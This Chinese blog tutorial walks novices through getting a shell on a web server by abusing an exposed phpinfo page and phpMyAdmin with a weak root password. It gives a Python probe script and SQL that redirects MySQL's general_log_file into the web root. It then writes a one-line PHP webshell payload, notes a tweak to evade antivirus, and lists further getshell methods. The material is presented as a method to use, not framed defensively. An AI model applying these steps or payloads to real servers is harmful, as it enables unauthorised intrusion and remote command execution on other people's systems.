您好,登錄后才能下訂單哦!
phpmyadmin+phpinfo()+webshell如何簡單繞過getshell,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
通過信息收集發現phpinfo頁面:
找到關鍵信息web路徑C:/ps/WWW
首先想到的是臨時目錄批量上傳文件然后再利用文件包含漏洞拿shell
先測試有沒有臨時目錄:
編寫腳本,上傳文件探測是否存在phpinfo包含臨時文件的信息。
import requests files = { 'file': ("aa.txt","ssss") } url = "http://x.x.x.x/phpinfo.php" r = requests.post(url=url, files=files, allow_redirects=False) print(r.text)
發現存在臨時文件
繼續利用條件競爭上傳失敗。
然后測試有沒有文件包含,并沒有。
然后繼續信息收集發現phpmyadmin 并且發現root用戶弱口令漏洞
經測試發現mysql中的Into outfile被禁用:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
下一步查詢general_log處于開啟狀態,狀態為開啟的時候,系統將mysql以后執行的每一條查詢語句寫入你指定的位置的文件里。而文件的位置則由general_log_file確定。我們可以開啟這個選項后,可以先指定路徑為一個php文件,再執行sql語句SELECT '<?php assert($_POST["cmd"]);?>';,這個指令就把木馬插入到你指定的php文件中去了。
于是我們可以設置general_log_file為一個php文件,最后用一句話木馬進行查詢來獲取shell
由于前面phpinfo頁面里已經找到web路徑,可構造以下語句:
SET global general_log_file='C:/ps/www/xiaoma.php';
寫入webshell的時候發現直接構造eval函數訪問的時候提示報錯大概的意思就是提示文件內容變為0行,判斷是被殺了。
于是稍微改動一下,如下圖,eval會將輸入的$a作為php語句執行,因此只要對l賦一定的system命令值,就能夠執行系統命令
訪問一下這次沒有被殺
shell到手:
phpinfo漏洞利用思路如下:
1、phpinfo中可以看到上傳的臨時文件的路徑,從而實現LFI+getshell
https://www.pianshen.com/article/71091159796/
phpmyadmin漏洞利用思路如下:
1、利用全局變量general_log去getshell
2、利用slow_query_log慢查詢日志getshell
3、利用phpmyadmin4.8.x本地文件包含漏洞getshell
https://www.icode9.com/content-3-218228.html
4、select into outfile直接寫入
https://www.lurbk.com/lur2774.html
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。